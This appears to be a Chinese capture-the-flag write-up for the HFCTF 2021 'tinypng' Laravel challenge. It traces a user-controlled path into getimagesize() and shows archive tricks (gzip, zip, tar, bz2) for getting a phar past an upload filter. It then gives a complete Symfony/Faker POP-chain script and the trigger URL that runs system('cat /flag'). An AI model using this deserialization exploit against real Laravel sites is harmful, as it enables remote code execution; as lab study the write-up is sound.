[HFCTF 2021 Final]tinypng
查看源码。发现是laravel框架
先去看看路由,目录为 /routers/web.php
Route::get('/', function () {
return view('upload');
});
Route::post('/', [IndexController::class, 'fileUpload'])->name('file.upload.post');
//Don't expose the /image to others!
Route::get('/image', [ImageController::class, 'handle'])->name('image.handle');
第一条路由是返回 upload 页面,视图文件位于 resources/views/*
其他两条路由,分别看他们对应的类和方法,位于 app/Http/Controllers/*
先看 IndexController 路由
class IndexController extends Controller
{
public function fileUpload(Request $req)
{
$allowed_extension = "png";
$extension = $req->file('file')->clientExtension();
if($extension === $allowed_extension && $req->file('file')->getSize() < 204800)
{
$content = $req->file('file')->get();
if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){
$error = 'Don\'t do that, please';
return back()
->withErrors($error);
}else {
$fileName = \md5(time()) . '.png';
$path = $req->file('file')->storePubliclyAs('uploads', $fileName);
echo "path: $path";
return back()
->with('success', 'File has been uploaded.')
->with('file', $path);
}
} else{
$error = 'Don\'t do that, please';
return back()
->withErrors($error);
}
}
}
IndexController 的 fileUpload()
方法实现了一个文件上传的功能
- 上传的文件后缀名只能以 png 结尾,且大小不能超过200k
- 上传的文件会被存储在 public/uploads文件夹内,文件名不可控,为
\md5(time()) . '.png'
- 对
<?
、php
、HALT_COMPILER
字符串进行了过滤 - 上传成功后会返回储存的路径
再看 ImageController 路由:
class ImageController extends Controller
{
public function handle(Request $request)
{
$source = $request->input('image');
if(empty($source)){
return view('image');
}
$temp = explode(".", $source);
$extension = end($temp);
if ($extension !== 'png') {
$error = 'Don\'t do that, pvlease';
return back()
->withErrors($error);
} else {
$image_name = md5(time()) . '.png';
$dst_img = '/var/www/html/' . $image_name;
$percent = 1;
(new imgcompress($source, $percent))->compressImg($dst_img);
return back()->with('image_name', $image_name);
}
}
}
ImageController 的 handle()
方法实现了一个压缩图片的功能
- 读取 Request 中传入的 image 作为目标图片路径
$source
,因此这里$source
可控 - 上传的文件后缀名只能以 png 结尾
- 文件名不可控,为
\md5(time()) . '.png'
- 调用 imgcompress 类中的
compressImg()
方法对图片进行压缩 - 压缩完成后返回图片的名称
继续跟进到 imgcompress 类里面:
class imgcompress
{
private $src;
private $image;
private $imageinfo;
private $percent = 0.5;
/**
* 图片压缩
* @param $src 源图
* @param float $percent 压缩比例
*/
public function __construct($src, $percent = 1)
{
$this->src = $src;
$this->percent = $percent;
}
/** 高清压缩图片
* @param string $saveName 提供图片名(可不带扩展名,用源图扩展名)用于保存。或不提供文件名直接显示
*/
public function compressImg($saveName)
{
$this->_openImage();
$this->_saveImage($saveName);
}
/**
* 内部:打开图片
*/
private function _openImage()
{
list($width, $height, $type, $attr) = getimagesize($this->src);
$this->imageinfo = array(
'width' => $width,
'height' => $height,
'type' => image_type_to_extension($type, false),
'attr' => $attr
);
$fun = "imagecreatefrom" . $this->imageinfo['type'];
$this->image = $fun($this->src);
$this->_thumpImage();
}
imgcompress 类就是实现图片压缩:
- 首先
__construct()
实现$this->src = $src
,由于在ImageController类里面对imgcompress类实例化的时候传进来的是可控的$source
,因此$src
可控 compressImg()
方法调用_openImage()
方法_openImage()
方法用到了getimagesize($this->src)
,而$this->src
可控
而getimagesize()
函数支持通过URL打开
phar反序列化
既然getimagesize()
支持传入URL,而且传入的参数我们可控,因此我们这里可以尝试使用phar://
进行反序列化,但是题目在上传的页面那里对内容进行了过滤:
$content = $req->file('file')->get();
if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){
$error = 'Don\'t do that, please';
return back()
->withErrors($error);
}
因此需要想办法绕过字符的限制,这里有几个绕过的方法:
gzip
生成完phar再执行 gzip phar.phar
;
或者,在 new Phar('evil.phar')
后加一句
new Phar('phar.phar')
$phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);
zip
$a=serialize(new a());//序列化数据放在这里
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'file content goes here');
$zip->setArchiveComment($a);//把序列化数据放进zip的注释里面
$zip->close();
不过zip的注释里不能有00.高版本可以用大写S,16进制替换%00。注意命名空间类的\和16进制的\冲突。 解决方案:把\
替换\5c
,不过要注意别把不是S里的\也替换了。
tar
file_put_contents('.phar/.metadata',serialize($o)); //把反序列化数据写到.phar/.metadata
然后执行tar -cvf test.tar .phar/
bz2
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."__HALT_COMPILER();");
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
然后执行bzip2 phar.phar
以上4种方法都能够绕过字符串的限制,同时还能够成功phar反序列化
POP链
既然能有反序列化的入口了,那么就找反序列化的利用链
ImportConfigurator 类
第一个是 Symfony\Component\Routing\Loader\Configurator 中的类 ImportConfigurator
class ImportConfigurator
{
//...
private $parent;
//...
public function __destruct()
{
$this->parent->addCollection($this->route);
}
//...
}
__destruct()
方法里面的$this->parent
可控,但是调用的函数名字不可控,因此找一个有__call()
方法的类。
ValidGenerator 类
vendor/fakephp/faker/src/Faker/ValidGenerator.php
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
//...
public function __call($name, $arguments)
{
$i = 0;
do {
$res = call_user_func_array([$this->generator, $name], $arguments);
$i++;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));
return $res;
}
//...
}
选用这个类是因为这个 __call
方法中包含了清晰可见的 call_user_func_array()
和 call_user_func()
,其中$this->generator
和$this->validator
可控,但是我们需要$res
可控才能RCE,而$name
并不可控,因此还需要再找一个__call()
方法;另外我们为了触发一次 call_user_func
,这里选择将 $this->maxRetries
置为 1 即可。
DefaultGenerator 类
我们再看到 vendor/fakephp/faker/src/Faker/DefaultGenerator.php 中的类 DefaultGenerator
class DefaultGenerator
{
protected $default;
//...
public function __call($method, $attributes)
{
return $this->default;
}
//...
}
这里的 __call
方法会返回一个我们完全可控的 $this->default
;于是到这里,ValidGenerator 类中的 $res
参数就是我们可以控制的了
完整POP链
<?php
namespace Faker
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($func,$param){
$this->generator = new DefaultGenerator($param);
$this->maxRetries = 1;
$this->validator = $func;
}
}
class DefaultGenerator
{
protected $default;
function __construct($param){
$this->default = $param;
}
}
namespace Symfony\Component\Routing\Loader\Configurator
use Faker\ValidGenerator
class ImportConfigurator
{
public function __construct($a)
{
$this->parent=$a;
}
}
$o = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(
new Faker\ValidGenerator('system','cat /flag')
);
@unlink("phar.phar");
$phar = new Phar('phar.phar');
$phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($o);
$phar->stopBuffering();
echo serialize($o);
事实上POP还存在不止这一条
利用
将生成的 phar.phar.tar.gz 文件后缀改为 png,然后上传,得到上传文件的目录
然后到/image
页面,利用 phar 协议进行反序列化:
/image?image=phar://../storage/app/uploads/xxxx.png
会返回500状态码错误,但是没关系查看源码即可。